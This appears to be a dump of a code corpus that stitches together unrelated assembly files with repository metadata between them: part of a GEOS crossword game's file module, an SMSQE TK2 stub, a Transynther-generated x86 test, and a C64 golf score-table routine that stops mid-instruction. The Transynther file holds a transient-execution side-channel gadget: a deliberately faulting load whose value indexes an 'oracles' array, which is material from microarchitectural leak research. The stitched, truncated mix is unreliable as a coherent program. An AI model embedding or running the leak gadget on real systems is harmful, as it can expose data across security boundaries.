es:di - puzzle name to look for clr cx ; compare till NULL terminated call LocalCmpStrings jz found ; puzzle names don't match pop si, di ; array pointer, element pointer mov cx, FALSE clc finish: .leave ret found: pop si, di ; array pointer, element pointer EC < call ECCheckChunkArray > call ChunkArrayPtrToElement ; ax - element mov cx, TRUE stc jmp finish FileFindCompletedPuzzleCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeleteCompletedPuzzleFromCompletedArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the chunk array element CALLED BY: CFBRemoveFromCompletedArray PASS: *ds:si - Completed chunk array ax - element number bx - VM file handle RETURN: DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDeleteCompletedPuzzleFromCompletedArray proc near uses ax,di .enter call ChunkArrayElementToPtr ; ds:di - element EC < ERROR_C CHUNK_ARRAY_ELEMENT_OUT_OF_BOUNDS call ChunkArrayDelete call VMUpdate .leave ret FileDeleteCompletedPuzzleFromCompletedArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StringAsciiConvertToInteger %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given an ascii string, translate it to its actual number. The number ends when the delimiter is reached. CALLED BY: general PASS: es:bx - buffer dh - delimiter RETURN: ax - Integer bx - updated offset into buffer to point to byte after the delimiter is reached. CF - set if error occurred, clear otherwise DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: Assume that integer fits in a word. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 5/ 9/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StringAsciiConvertToInteger proc near uses cx,dx,si,bp .enter mov cl, dh ; cl = delimiter mov si, bx ; si = buffer offset clr bx clr ax ; al = sum so far mov bp, 10 ; for multiplying ax by sum: mov bl, es:[si] ; bl = ascii number cmp bl, C_ZERO jl sourceErr cmp bl, C_NINE jg sourceErr sub bl, C_ZERO ; bl = number mul bp ; sum so far * 10 add ax, bx ; (sum so far * 10) + number inc si ; increment buffer pointer cmp es:[si], cl ; check for delimiter jne sum inc si ; point to character after ; delimiter mov cx, dx ; cxax = Integer EC < tst cx > EC < ERROR_NZ ASCII_TO_INTEGER_IS_LARGER_THAN_WORD > mov bx, si ; new buffer offset clc finish: .leave ret sourceErr: mov di, SOURCE_ERR call CwordHandleError jmp finish StringAsciiConvertToInteger endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBNotifyError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify the File Module that an error has occurred in the crossword application. CALLED BY: MSG_CFB_NOTIFY_ERROR PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Set CFBI_puzzleIsOpen to FALSE. Tell the Engine and Board Modules to clean up. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/25/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBNotifyError method dynamic CwordFileBoxClass, MSG_CFB_NOTIFY_ERROR uses ax, cx, dx, bp .enter cmp ds:[di].CFBI_puzzleIsOpen, FALSE je noOpenPuzzle mov ds:[di].CFBI_puzzleIsOpen, FALSE ; Tell the Board Module that its Engine Token is now invalid ; since a new puzzle is about to be opened. push si ; object handle mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_CLEAN_UP call ObjMessage pop si ; object handle noOpenPuzzle: .leave ret CFBNotifyError endm CwordFileCode ends
24.44248
79
0.614758
c0fc8e60d5f77361d11998e401db3cf99de9180b
169
asm
Assembly
ee/hot/ptk2.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
ee/hot/ptk2.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
ee/hot/ptk2.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; TK2 procs section procs xdef hot_ptk2 include 'dev8_mac_proc' hot_ptk2 proc_stt proc_def ALTKEY proc_def TK2_EXT,hot_tk2 proc_end proc_stt proc_end end
9.388889
25
0.775148
70a3df4933977b570538a6a88716d43708e8551c
7,696
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_21829_2278.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_21829_2278.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_21829_2278.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x15f9a, %rbp add $36174, %r8 movw $0x6162, (%rbp) nop cmp $20841, %rbx lea addresses_D_ht+0xb078, %rax nop nop nop nop cmp $34553, %r14 mov $0x6162636465666768, %rdi movq %rdi, (%rax) nop nop nop sub %rbx, %rbx lea addresses_WT_ht+0x11a18, %rdi clflush (%rdi) nop nop nop nop nop and $39060, %rax mov $0x6162636465666768, %rbx movq %rbx, %xmm1 and $0xffffffffffffffc0, %rdi vmovntdq %ymm1, (%rdi) nop nop nop nop cmp %rbp, %rbp lea addresses_WC_ht+0x106f8, %rdi nop cmp %rbp, %rbp mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%rdi) nop nop nop and $1672, %rbx lea addresses_normal_ht+0x16f3c, %rbp nop nop dec %rdx movups (%rbp), %xmm4 vpextrq $1, %xmm4, %rax nop nop nop nop sub $7195, %r8 lea addresses_normal_ht+0x4258, %rbp nop nop nop nop nop cmp $27941, %rbx movb (%rbp), %r14b nop nop nop nop cmp $3084, %rbp lea addresses_A_ht+0xb378, %rbp nop cmp %r14, %r14 mov (%rbp), %dx nop nop nop nop nop sub $34909, %rbp lea addresses_D_ht+0x180dc, %rdx clflush (%rdx) nop cmp $3173, %rax movb (%rdx), %bl nop nop nop nop inc %rax lea addresses_UC_ht+0x6538, %rbp nop nop nop xor $57354, %r14 movw $0x6162, (%rbp) nop nop nop nop nop and %rax, %rax lea addresses_D_ht+0x1b78, %rsi lea addresses_UC_ht+0x15d78, %rdi and $16062, %rax mov $114, %rcx rep movsq nop nop nop nop cmp $33119, %rbp lea addresses_normal_ht+0x2ea8, %r14 nop sub %rsi, %rsi movb (%r14), %r8b cmp %r14, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbx push %rdx push %rsi // Load lea addresses_UC+0x10762, %rdx clflush (%rdx) nop xor %r15, %r15 mov (%rdx), %eax // Exception!!! nop mov (0), %r8 nop nop cmp $740, %rdx // Load lea addresses_WC+0x17408, %r8 nop nop nop sub %rsi, %rsi mov (%r8), %edx nop nop cmp $34879, %r8 // Store mov $0xf8, %r15 clflush (%r15) nop nop nop cmp $14511, %rdx movb $0x51, (%r15) nop nop nop nop nop inc %rax // Store lea addresses_normal+0xbf8, %rax nop nop nop add $603, %rdx movl $0x51525354, (%rax) nop nop nop nop nop cmp %rdx, %rdx // Faulty Load mov $0x3e8bb20000000378, %r8 nop nop nop sub $41896, %rdx mov (%r8), %eax lea oracles, %r15 and $0xff, %rax shlq $12, %rax mov (%r15,%rax,1), %rax pop %rsi pop %rdx pop %rbx pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.157895
2,999
0.652027
aba09387d969e8253856d7c3596cadb80d239b62
15,933
asm
Assembly
src/play/score_table_sp.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
1
2022-02-13T16:09:18.000Z
2022-02-13T16:09:18.000Z
src/play/score_table_sp.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
src/play/score_table_sp.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
; Top-hole Golf ; Copyright 2020-2021 Matthew Clarke !to "sctblsp.o",cbm !source "play_labels.asm" !source "../core/mymacros.asm" ; Start to assemble this at beginning of quads variables block. ; Doesn't matter if this moves because we've got its latest address in the ; file 'play_labels.asm'. *= quads_n sctblsp_c_BEGIN = * ; NOTE: put this subroutine at the very top of the file so other modules ; (specifically, 'play') know where it is! !zone { sc_s_init ; Clear lines 1,2 and 3 of the bitmap. ldx #0 lda #0 - sta gfxs_c_BITMAP_BASE+320,x sta gfxs_c_BITMAP_BASE+320+240,x sta gfxs_c_BITMAP_BASE+320+480,x sta gfxs_c_BITMAP_BASE+320+720,x inx cpx #240 bne - ldx shared_v_num_players jsr sc_s_prepare_colors jsr sc_s_draw ; Lock fire button on joystick 2. ldx #joy_c_PORT2 +joy_m_lock_fire rts ; end sub sc_s_init } ; !zone ; ***************** ; *** CONSTANTS *** ; ***************** ; 18 addresses for each player. sc_l_CELL_ADDR_LO !for k,4 { !for m,18 { !byte <gfxs_c_BITMAP_BASE+(2*320)+((k-1)*5*320)+(((m-1)/9)*2*320)+(4*8)+(((m-1)%9)*3*8) } ; !for m } ; !for k sc_l_CELL_ADDR_HI !for k,4 { !for m,18 { !byte >gfxs_c_BITMAP_BASE+(2*320)+((k-1)*5*320)+(((m-1)/9)*2*320)+(4*8)+(((m-1)%9)*3*8) } ; !for l } ; !for k sc_l_CELL_TOTALS_ADDR_LO !for k,4 { !byte <gfxs_c_BITMAP_BASE+((2+(5*(k-1)))*320)+(33*8) !byte <gfxs_c_BITMAP_BASE+((4+(5*(k-1)))*320)+(33*8) } ; !for k sc_l_CELL_TOTALS_ADDR_HI !for k,4 { !byte >gfxs_c_BITMAP_BASE+((2+(5*(k-1)))*320)+(33*8) !byte >gfxs_c_BITMAP_BASE+((4+(5*(k-1)))*320)+(33*8) } ; !for k sc_l_BOX_CR_ADDR_LO !byte <COLOR_RAM+(2*40)+4 !byte <COLOR_RAM+(7*40)+4 !byte <COLOR_RAM+(12*40)+4 !byte <COLOR_RAM+(17*40)+4 sc_l_BOX_CR_ADDR_HI !byte >COLOR_RAM+(2*40)+4 !byte >COLOR_RAM+(7*40)+4 !byte >COLOR_RAM+(12*40)+4 !byte >COLOR_RAM+(17*40)+4 sc_l_BOX_SR_ADDR_LO !byte <gfxs_c_DISPLAY_BASE+(2*40)+4 !byte <gfxs_c_DISPLAY_BASE+(7*40)+4 !byte <gfxs_c_DISPLAY_BASE+(12*40)+4 !byte <gfxs_c_DISPLAY_BASE+(17*40)+4 sc_l_BOX_SR_ADDR_HI !byte >gfxs_c_DISPLAY_BASE+(2*40)+4 !byte >gfxs_c_DISPLAY_BASE+(7*40)+4 !byte >gfxs_c_DISPLAY_BASE+(12*40)+4 !byte >gfxs_c_DISPLAY_BASE+(17*40)+4 sc_l_SYMBOL_ADDR_LO !byte <sc_l_PLUS_SYMBOL,<sc_l_PLUS_SYMBOL_RHS,<sc_l_MINUS_SYMBOL,<sc_l_MINUS_SYMBOL_RHS,<sc_l_EQUALS_SYMBOL,<sc_l_EQUALS_SYMBOL_RHS sc_l_SYMBOL_ADDR_HI !byte >sc_l_PLUS_SYMBOL,>sc_l_PLUS_SYMBOL_RHS,>sc_l_MINUS_SYMBOL,>sc_l_MINUS_SYMBOL_RHS,>sc_l_EQUALS_SYMBOL,>sc_l_EQUALS_SYMBOL_RHS sc_c_SYMBOL_TYPE_PLUS = 0 sc_c_SYMBOL_TYPE_PLUS_RHS = 1 sc_c_SYMBOL_TYPE_MINUS = 2 sc_c_SYMBOL_TYPE_MINUS_RHS = 3 sc_c_SYMBOL_TYPE_EQUALS = 4 sc_c_SYMBOL_TYPE_EQUALS_RHS = 5 sc_l_PLUS_SYMBOL !byte $aa,$ff,$ef,$ab,$ef sc_l_PLUS_SYMBOL_RHS !byte $aa,$fe,$ee,$aa,$ee sc_l_MINUS_SYMBOL !byte $aa,$ff,$ff,$eb,$ff sc_l_MINUS_SYMBOL_RHS !byte $aa,$fe,$fe,$ea,$fe sc_l_EQUALS_SYMBOL !byte $aa,$ff,$eb,$ff,$eb sc_l_EQUALS_SYMBOL_RHS !byte $aa,$fe,$ea,$fe,$ea sc_l_SCORES_OFFSETS !byte 0,18,36,54 sc_l_BOX_COLORS !byte CYAN,LIGHT_BLUE,YELLOW,LIGHT_GREEN sc_c_BOX_WIDTH2 = 27 sc_c_BOX_HEIGHT = 4 sc_l_NAME_ROW_CHARS !byte 1,6,11,16 sc_c_NAME_COL_CHARS = 4 ; ***************** ; *** VARIABLES *** ; ***************** ; NOTE: 6 chars, i.e. 6*8=48 bytes! sc_v_cell_buffer !fill 6*8,0 sc_v_digits_buffer !fill 6*8,0 ; For your convenience: boolean to record whether this is hole 9 or 18. ; Used by draw routines. sc_v_is_rightmost_cell !byte 0 ; ******************* ; ****** MACROS ***** ; ******************* ; ******************* ; *** SUBROUTINES *** ; ******************* ; INPUTS: X = num players. !zone { .PLAYER_ITER = TREES_LO .SLOT_COLOR = TREES_HI .NUM_PLAYERS = CAMERA0 sc_s_prepare_colors stx .NUM_PLAYERS ldx #0 .loop_top stx .PLAYER_ITER ; Color RAM address into MATHS2-3; display RAM into MATHS4-5. lda sc_l_BOX_CR_ADDR_LO,x sta MATHS2 lda sc_l_BOX_CR_ADDR_HI,x sta MATHS3 lda sc_l_BOX_SR_ADDR_LO,x sta MATHS4 lda sc_l_BOX_SR_ADDR_HI,x sta MATHS5 lda sc_l_BOX_COLORS,x sta .SLOT_COLOR ; 4 rows, each 27 chars in width. ; Use X to count rows. ldx #sc_c_BOX_HEIGHT .row_loop ldy #0 - lda #GREY1 sta (MATHS4),y lda .SLOT_COLOR sta (MATHS2),y .skip iny cpy #sc_c_BOX_WIDTH2 beq .skip cpy #sc_c_BOX_WIDTH2+1 beq .skip cpy #32 bne - ; End of row. dex beq .next_player ; More rows to go, so add 40 to both pointers. lda MATHS2 clc adc #40 sta MATHS2 lda MATHS3 adc #0 sta MATHS3 lda MATHS4 clc adc #40 sta MATHS4 lda MATHS5 adc #0 sta MATHS5 jmp .row_loop .next_player ldx .PLAYER_ITER inx cpx .NUM_PLAYERS ;shared_v_num_players bne .loop_top rts ; end sub sc_s_prepare_colors } ; !zone ; ************************************************** !zone { .SLOT_ITER = TREES_LO .HOLE_ITER = TREES_HI .HOLE_END = BITMAP_LO .SCORES_ON = BITMAP_HI ; NOTE: .HOLE_COUNT counts from 0 to 17, regardless of the player #. .HOLE_COUNT = EDGES_LO .CURRENT_PLAYER = EDGES_HI .CELL_COUNT = VM_LO .TOTAL_CELL_COUNT = VM_HI sc_s_draw lda #1 sta .SCORES_ON lda #0 sta .HOLE_COUNT sta .CELL_COUNT sta .TOTAL_CELL_COUNT ldx #0 .player_loop stx .SLOT_ITER lda players_v_playing_order,x sta .CURRENT_PLAYER tax lda sc_l_SCORES_OFFSETS,x sta .HOLE_ITER clc adc round_v_current_hole sta .HOLE_END ldx .HOLE_ITER .hole_loop stx .HOLE_ITER lda #0 sta sc_v_is_rightmost_cell lda .HOLE_COUNT cmp #8 beq + cmp #17 bne ++ + inc sc_v_is_rightmost_cell ++ jsr sc_s_clear_digits_buffer ; If playing only front or back 9, we will 'ghost out' any slots that won't ; be used... lda shared_v_holes beq .valid_slot cmp #shared_c_PLAYING_FRONT_9 bne .playing_back_9 ; So we're playing the front 9 only. Any slots after #8 are invalid. lda .HOLE_COUNT cmp #9 bcc .valid_slot bcs .must_ghost .playing_back_9 ; Any slots before #9 are invalid. lda .HOLE_COUNT cmp #9 bcs .valid_slot .must_ghost jsr sc_s_ghost_digits_buffer jsr sc_s_draw_cell_border_to_buffer jmp .to_bitmap .valid_slot lda .SCORES_ON +branch_if_false .draw_border ; Get score for current hole. ldx .HOLE_ITER lda sc_v_scores,x jsr sc_s_write_digit_chars_to_buffer .draw_border jsr sc_s_draw_cell_border_to_buffer lda .SCORES_ON beq + ldx .HOLE_ITER ldy .HOLE_COUNT jsr sc_s_get_rel_to_par lda sc_l_SYMBOL_ADDR_LO,x sta WS_X_LO lda sc_l_SYMBOL_ADDR_HI,x sta WS_X_HI ldy #4 - lda (WS_X_LO),y sta sc_v_digits_buffer+(2*8),y dey bpl - + .to_bitmap ; Buffer is now ready to be drawn to the bitmap screen. ldx .CELL_COUNT lda sc_l_CELL_ADDR_LO,x sta MATHS2 lda sc_l_CELL_ADDR_HI,x sta MATHS3 jsr sc_s_write_buffer_to_bitmap ; Check next hole. inc .CELL_COUNT inc .HOLE_COUNT ldx .HOLE_COUNT cpx #18 ; beq .check_next_player beq .running_totals ; .HOLE_ITER must be incremented no matter what. Turn '.SCORES_ON' off ; (i.e. set it to 0) when .HOLE_ITER is equal to .HOLE_END (because there ; are no more scores to draw after this point, but we still need to draw ; the empty cells). ldx .HOLE_ITER inx stx .HOLE_ITER cpx .HOLE_END bne + dec .SCORES_ON + jmp .hole_loop .running_totals ; TODO: ... ldx .TOTAL_CELL_COUNT ldy .CURRENT_PLAYER jsr sc_s_draw_totals ldx .TOTAL_CELL_COUNT inx inx stx .TOTAL_CELL_COUNT .check_next_player ldx .CURRENT_PLAYER ldy .SLOT_ITER jsr sc_s_draw_name_for_score_card ldx .SLOT_ITER inx cpx shared_v_num_players beq .end ; RESET THESE FOR NEXT PLAYER!!! ldy #1 sty .SCORES_ON dey sty .HOLE_COUNT jmp .player_loop .end rts ; end sub sc_s_draw } ; !zone ; ************************************************** ; INPUTS: X = current player, Y = slot !zone { sc_s_draw_name_for_score_card ; So X already has player #. ; Need to fill in destination row and column (in chars) in P0 and P1 ; respectively. lda sc_l_NAME_ROW_CHARS,y sta P0 lda #sc_c_NAME_COL_CHARS sta P1 jsr sc_s_draw_name_and_score rts ; end sub sc_s_draw_name_for_score_card } ; !zone ; ************************************************** ; INPUTS: X = 'total' cell count, Y = current player !zone { .ITER = COLORS_LO .COUNT = COLORS_HI .PLAYER = LINE_X0_LO sc_s_draw_totals stx .COUNT sty .PLAYER ldx #2 .loop stx .ITER jsr sc_s_clear_digits_buffer jsr sc_s_check_if_playing_18_holes_for_totals bcs + ldx .PLAYER ; NOTE: second time round this will load from back 9. lda sc_v_front9_scores,x beq + jsr sc_s_write_digit_chars_to_buffer + jsr sc_s_draw_cell_border_to_buffer ldx .COUNT lda sc_l_CELL_TOTALS_ADDR_LO,x sta MATHS2 lda sc_l_CELL_TOTALS_ADDR_HI,x sta MATHS3 jsr sc_s_write_buffer_to_bitmap ldx .ITER dex beq .end inc .COUNT lda .PLAYER clc adc #4 sta .PLAYER bne .loop .end rts ; end sub sc_s_draw_totals } ; !zone ; ************************************************** ; INPUTS: X = hole iterator (takes into account player) ; Y = hole count (in range: [0,18)). ; OUTPUTS: X = index into lo/hi addresses for symbol char tables. !zone { sc_s_get_rel_to_par lda sc_v_scores,x cmp sc_v_pars,y beq .even bcc .below ; So must be above... ldx #sc_c_SYMBOL_TYPE_PLUS lda sc_v_is_rightmost_cell +branch_if_false + inx + rts ; EXIT POINT. .even ldx #sc_c_SYMBOL_TYPE_EQUALS lda sc_v_is_rightmost_cell +branch_if_false + inx + rts ; EXIT POINT. .below ldx #sc_c_SYMBOL_TYPE_MINUS lda sc_v_is_rightmost_cell +branch_if_false + inx + rts ; end sub sc_s_get_rel_to_par } ; !zone ; ************************************************** !zone { sc_s_clear_digits_buffer ldx #((6*8)-1) lda #$ff - sta sc_v_digits_buffer,x dex bpl - rts ; end sub sc_s_clear_digits_buffer } ; !zone ; ************************************************** ; Helper routine for drawing. !zone { sc_s_draw_cell_border_to_buffer lda #$aa sta sc_v_digits_buffer sta sc_v_digits_buffer+8 sta sc_v_digits_buffer+16 sta sc_v_digits_buffer+31 sta sc_v_digits_buffer+39 sta sc_v_digits_buffer+47 ldx #0 - lda sc_v_digits_buffer+1,x and #$3f ora #$80 sta sc_v_digits_buffer+1,x lda sc_v_digits_buffer+24,x and #$3f ora #$80 sta sc_v_digits_buffer+24,x ; FIXME: find a better solution for this! lda sc_v_is_rightmost_cell +branch_if_false ++ lda sc_v_digits_buffer+17,x and #$fc ora #$02 sta sc_v_digits_buffer+17,x lda sc_v_digits_buffer+40,x and #$fc ora #$02 sta sc_v_digits_buffer+40,x ++ inx cpx #7 bne - rts ; end sub sc_s_draw_cell_border_to_buffer } ; !zone ; ************************************************** ; A helper function for sc_s_draw. ; INPUTS: A = value to be represented. !zone { sc_s_write_digit_chars_to_buffer cmp #10 bcs .two_digits ; 1 digit. Add value for ASCII '0' to get index into font data. clc adc #font_c_ASCII_0 tax lda font_l_CHAR_DATA_LO,x sta MATHS2 lda font_l_CHAR_DATA_HI,x sta MATHS3 ; LAYOUT: ; *-----*-----*-----* ; | 0 | 1 | 2 | ; *-----*-----*-----* ; | 3 | 4 | 5 | ; *-----*-----*-----* ; Copy this char data into bytes #1 and #4 of buffer. ldy #0 - lda (MATHS2),y jsr utils_s_ror_two_bits sta sc_v_digits_buffer+(1*8)+5,y iny cpy #3 bne - - lda (MATHS2),y jsr utils_s_ror_two_bits sta sc_v_digits_buffer+(4*8)-3,y iny cpy #8 bne - rts ; EXIT POINT. .two_digits ; So we need to break this down into two decimal digits. sta P0 lda #0 sta P1 jsr utils_s_16bit_hex_to_dec ; There should be exactly two digits. LSB goes into cells 2 and 5, MSB ; into cells 1 and 4. ; Let's set up two pointers to char data. MATHS2-3 and MATHS4-5. lda utils_v_dec_digits clc adc #font_c_ASCII_0 tax lda font_l_CHAR_DATA_LO,x sta 